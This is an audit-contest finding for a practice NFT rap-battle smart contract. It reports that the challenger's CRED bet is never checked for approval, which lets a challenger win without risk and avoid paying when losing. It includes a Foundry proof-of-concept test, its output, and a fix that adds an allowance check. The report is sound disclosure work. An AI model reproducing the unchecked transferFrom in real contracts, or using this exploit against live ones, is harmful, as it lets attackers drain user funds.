Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

An unverified transferFrom results in the challenger winning CRED without loss, and not losing CRED even when losing

Summary

An unverified transferFrom results in the challenger winning CRED without loss, and not losing CRED even when losing

Vulnerability Details

In the _battle() function of the RapBattle contract, if the challenger has not called approve to authorize the RapBattle, then when the defender wins, the call to credToken.transferFrom(msg.sender, _defender, _credBet); will fail.

// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}

POC

function testAttack() external {
vm.startPrank(user);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.warp(3 days + 1);
vm.startPrank(challenger);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
vm.warp(4 days + 1);
vm.prank(user);
streets.unstake(0);
vm.prank(challenger);
streets.unstake(1);
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 1);
assertEq(cred.balanceOf(user), 4);
rapBattle.goOnStageOrBattle(0, 1);
vm.stopPrank();
assertEq(cred.balanceOf(user), 3);
assertEq(cred.balanceOf(challenger), 1);
vm.startPrank(challenger);
// cred.approve(address(rapBattle), 1);
vm.warp(5 days + 1); // To modify random in the rapBattle
vm.expectRevert();
rapBattle.goOnStageOrBattle(1, 1);
vm.stopPrank();
console.log("user balance: ", cred.balanceOf(user));
console.log("challenger balance: ", cred.balanceOf(challenger));
}

result:

[PASS] testAttack() (gas: 573814)
Logs:
user balance: 3
challenger balance: 1

if change code, the challenger is win, challenger can get CRED:

vm.startPrank(challenger);
// cred.approve(address(rapBattle), 1);
// vm.warp(5 days + 1);
// vm.expectRevert();
rapBattle.goOnStageOrBattle(1, 1);
vm.stopPrank();

result:

[PASS] testAttack2() (gas: 590414)
Logs:
user balance: 3
challenger balance: 2

Tools Used

Foundry

Recommendations

Check if the challenger has approved and approved a sufficient amount of CRED to RapBattle

function _battle(uint256 _tokenId, uint256 _credBet) internal {
+ require(
+ credToken.allowance(msg.sender, address(this)) >= _credBet,
+ "Insufficient allowance. Please approve tokens before proceeding."
+ );
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
........
........
........
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.